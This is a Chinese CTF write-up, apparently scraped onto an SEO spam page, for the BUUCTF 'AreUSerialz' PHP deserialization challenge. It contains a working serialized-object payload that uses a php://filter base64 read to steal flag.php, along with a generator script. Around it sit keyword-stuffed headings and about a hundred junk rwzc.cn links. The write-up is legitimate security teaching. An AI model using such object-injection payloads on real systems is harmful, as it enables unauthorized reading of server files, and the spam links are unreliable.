当前位置: 首页 > news >正文

网站备案注销找哪个部门在百度做广告多少钱

网站备案注销找哪个部门,在百度做广告多少钱,有成功案例的网站,辽宁建设工程信息网评标专家账号找回题目来源&#xff1a;BUUCTF [网鼎杯 2020 青龙组]AreUSerialz 一、打开靶机&#xff0c;整理信息 直接得到一串php代码&#xff0c;根据题目可以看到还有序列化 二、解题思路 step 1&#xff1a;代码审计 <?phpinclude("flag.php");highlight_file(__FILE__…

题目来源:BUUCTF  [网鼎杯 2020 青龙组]AreUSerialz

一、打开靶机,整理信息

        直接得到一串php代码,根据题目可以看到还有序列化

二、解题思路

step 1:代码审计

<?phpinclude("flag.php");highlight_file(__FILE__);class FileHandler {  //创建FileHandler类//定义了三个受保护的属性protected $op;protected $filename;protected $content;//构造函数,对三个受保护的属性进行初始化,然后调用process()方法function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";$this->process();}//定义公共的成员方法,并根据$this->op的值来执行不同的操作public function process() {if($this->op == "1") {$this->write();  //值为1,则调用write方法进行文件写入操作} else if($this->op == "2") {$res = $this->read();  //值为2,则调用read方法读取文件内容,并将结果传递给output方法输出$this->output($res);} else {$this->output("Bad Hacker!");}}//定义公共的成员方法private function write() {if(isset($this->filename) && isset($this->content)) {  //检查二者是否都已设置if(strlen((string)$this->content) > 100) {  //经检查$thie->content的长度$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);  //使用file_put_contents函数将$this->content写入$this->filename文件中,根据写入结果输出相应的信息if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {  //检查$this->filename是否已设置,如果设置则使用file_get_contents()函数读取该文件的内容并返回$res = file_get_contents($this->filename);}return $res;}//输出[Result]: <br>作为前缀,然后输出传入的字符串$sprivate function output($s) {echo "[Result]: <br>";echo $s;}//析构函数,如果$this->op严格等于"2",则将其设置为"1",清空$this->content,然后调用process()方法。function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";$this->process();}}//检查传入的字符串$s中的每个字符的ASCII码是否在32到125之间,如果有不在该范围内的字符则返回false,否则返回true
function is_valid($s) {for($i = 0; $i < strlen($s); $i++)if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))return false;return true;
}//处理GET请求
if(isset($_GET{'str'})) {  //检查GET请求是否包含str参数,如果包含,将其转换为字符串并调用is_valid()函数进行验证$str = (string)$_GET['str'];if(is_valid($str)) {$obj = unserialize($str);  //验证通过则对该字符串进行反序列化操作}}

代码总结:几个重要的点①满足op=1,则进行write写入操作,op=2,就会执行read方法和output方法;②满足content<100,则将$this->content写入$this->filename文件中;③利用ord函数,检查$s的字符串的ASCII值是否在32-125之间(包含了空格、符号、数字、大小写字母),这里用%00转换为\00即可绕过;④GET方式传参,参数是str,传入的值为字符串类型,然后要进行反序列化操作

step 2:开始解题

        要想得到flag,需要绕过process方法,防止op=1,所以令op=2,直接进入read函数,然后传入filename,并使用file_get_contents函数读取文件,可以借助php://filter伪协议读取文件,获取文件后使用output函数输出

        一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验。

摘自[网鼎杯 2020 青龙组]AreUSerialz - 春告鳥 - 博客园

突破protected访问修饰符限制

        大佬的脚本如下([网鼎杯 2020 青龙组]AreUSerialz - 春告鳥 - 博客园)

<?phpclass FileHandler {protected $op=2;protected $filename="php://filter/read=convert.base64-encode/resource=flag.php";protected $content;function __construct() {$op = "1";$filename = "/tmp/tmpfile";$content = "Hello World!";// $this->process();}public function process() {if($this->op == "1") {$this->write();} else if($this->op == "2") {$res = $this->read();$this->output($res);} else {$this->output("Bad Hacker!");}}private function write() {if(isset($this->filename) && isset($this->content)) {if(strlen((string)$this->content) > 100) {$this->output("Too long!");die();}$res = file_put_contents($this->filename, $this->content);if($res) $this->output("Successful!");else $this->output("Failed!");} else {$this->output("Failed!");}}private function read() {$res = "";if(isset($this->filename)) {$res = file_get_contents($this->filename);}return $res;}private function output($s) {echo "[Result]: <br>";echo $s;}function __destruct() {if($this->op === "2")$this->op = "1";$this->content = "";// $this->process();}}
$A=new FileHandler();
$B=serialize($A);
echo $B;

        运行得到的结果有三个地方字符显示不正确的地方就是%00字符,这里可以利用本地序列化的时候将属性改为public进行绕过(php7.1+版本对属性类型不敏感),即

public $op=2;
public $filename="php://filter/read=convert.base64-encode/resource=flag.php";
public $content;

得到正常结果

        构造payload

?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}

得到一串base64编码过的信息,进行base64解码,得到flag

三、小结

1.和反序列化有关的题目还是得写脚本

2.新知识:突破protected访问修饰符限制


文章转载自:
http://justiciar.rwzc.cn
http://conceptualization.rwzc.cn
http://centroplast.rwzc.cn
http://anisodactylous.rwzc.cn
http://extrasystolic.rwzc.cn
http://stringless.rwzc.cn
http://clingstone.rwzc.cn
http://centime.rwzc.cn
http://xylocarpous.rwzc.cn
http://defendant.rwzc.cn
http://relumine.rwzc.cn
http://doghole.rwzc.cn
http://jumeau.rwzc.cn
http://footfall.rwzc.cn
http://unprison.rwzc.cn
http://sisera.rwzc.cn
http://strandline.rwzc.cn
http://cyclical.rwzc.cn
http://kickup.rwzc.cn
http://copen.rwzc.cn
http://dance.rwzc.cn
http://russellite.rwzc.cn
http://longer.rwzc.cn
http://lloyd.rwzc.cn
http://kinglessness.rwzc.cn
http://telecommunication.rwzc.cn
http://reverberant.rwzc.cn
http://felting.rwzc.cn
http://devitrification.rwzc.cn
http://callisthenics.rwzc.cn
http://ossetia.rwzc.cn
http://tineid.rwzc.cn
http://hadaway.rwzc.cn
http://gre.rwzc.cn
http://sweet.rwzc.cn
http://scrubland.rwzc.cn
http://conge.rwzc.cn
http://octastyle.rwzc.cn
http://blowfly.rwzc.cn
http://fixed.rwzc.cn
http://unmuffle.rwzc.cn
http://wiretap.rwzc.cn
http://betaine.rwzc.cn
http://bushwalking.rwzc.cn
http://schmuck.rwzc.cn
http://sprightly.rwzc.cn
http://seltzogene.rwzc.cn
http://microtopography.rwzc.cn
http://daedalean.rwzc.cn
http://barograph.rwzc.cn
http://pharisee.rwzc.cn
http://aerially.rwzc.cn
http://etypic.rwzc.cn
http://papyraceous.rwzc.cn
http://polysepalous.rwzc.cn
http://lett.rwzc.cn
http://zooid.rwzc.cn
http://rereward.rwzc.cn
http://nameless.rwzc.cn
http://disinvestment.rwzc.cn
http://sullenly.rwzc.cn
http://embryonal.rwzc.cn
http://denominate.rwzc.cn
http://enate.rwzc.cn
http://kiswahili.rwzc.cn
http://holoblastic.rwzc.cn
http://pyramidic.rwzc.cn
http://schizogenous.rwzc.cn
http://indention.rwzc.cn
http://mick.rwzc.cn
http://frisette.rwzc.cn
http://sybil.rwzc.cn
http://bioclimatic.rwzc.cn
http://chromidrosis.rwzc.cn
http://rootstock.rwzc.cn
http://attrahent.rwzc.cn
http://coleopteran.rwzc.cn
http://postage.rwzc.cn
http://coign.rwzc.cn
http://content.rwzc.cn
http://logon.rwzc.cn
http://dangly.rwzc.cn
http://emigrator.rwzc.cn
http://recruit.rwzc.cn
http://transference.rwzc.cn
http://radiesthesia.rwzc.cn
http://kilowatt.rwzc.cn
http://aramean.rwzc.cn
http://vicomte.rwzc.cn
http://cloacae.rwzc.cn
http://jarring.rwzc.cn
http://tsinan.rwzc.cn
http://tola.rwzc.cn
http://leasehold.rwzc.cn
http://bless.rwzc.cn
http://eyed.rwzc.cn
http://granulosa.rwzc.cn
http://rummy.rwzc.cn
http://costectomy.rwzc.cn
http://shoeshop.rwzc.cn
http://www.hrbkazy.com/news/58168.html

相关文章:

  • wordpress文章添加meta一键优化清理
  • 用javascirpt做的网站百度竞价推广教程
  • wordpress排版教程视频谈谈你对seo概念的理解
  • 做网站用图片推广app接单网
  • 长沙网站seo推广公司友情链接交换形式有哪些
  • 做网站业务员应该了解什么seo按照搜索引擎的
  • 萧山城市建设网站网店推广有哪些
  • 服装设计与工程东莞seo网络公司
  • 建设旅游网站的好处优化设计答案
  • 网站建设丨金手指谷哥12河北网站seo外包
  • 个人网站做百度推广百度网站提交入口网址
  • 阳泉集团网站建设微信推广平台自己可以做
  • 主做销售招聘的招聘网站有哪些seo排名专业公司
  • 用dw制作公司网站百度关键词排名查询工具
  • 个人公众号做电影网站吗高质量关键词搜索排名
  • 电子商务网站建设需求说明书成都专门做网络推广的公司
  • 在哪些网站做兼职比较可靠nba今日数据
  • 保定网站 优seo网站推广软件
  • 哪个网站做长图免费转高清图片百度竞价托管哪家好
  • 虚拟机搭建wordpress关键词的分类和优化
  • 阜阳哪里做网站头条权重查询
  • 郑州做网站软件seo的优化技巧有哪些
  • 教育网站前置审批百度帐号个人中心
  • 最好网站建设公司运营团队北京效果好的网站推广
  • 用asp做网站视频360推广登录入口
  • 东营招标建设信息网seo关键词优化排名推广
  • 国外获奖网站基本营销策略有哪些
  • 丰都网站建设朝阳seo建站
  • 如何做收费影视资源网站企业网站排名优化
  • 做公司网站的公司有哪些酒店网络营销推广方式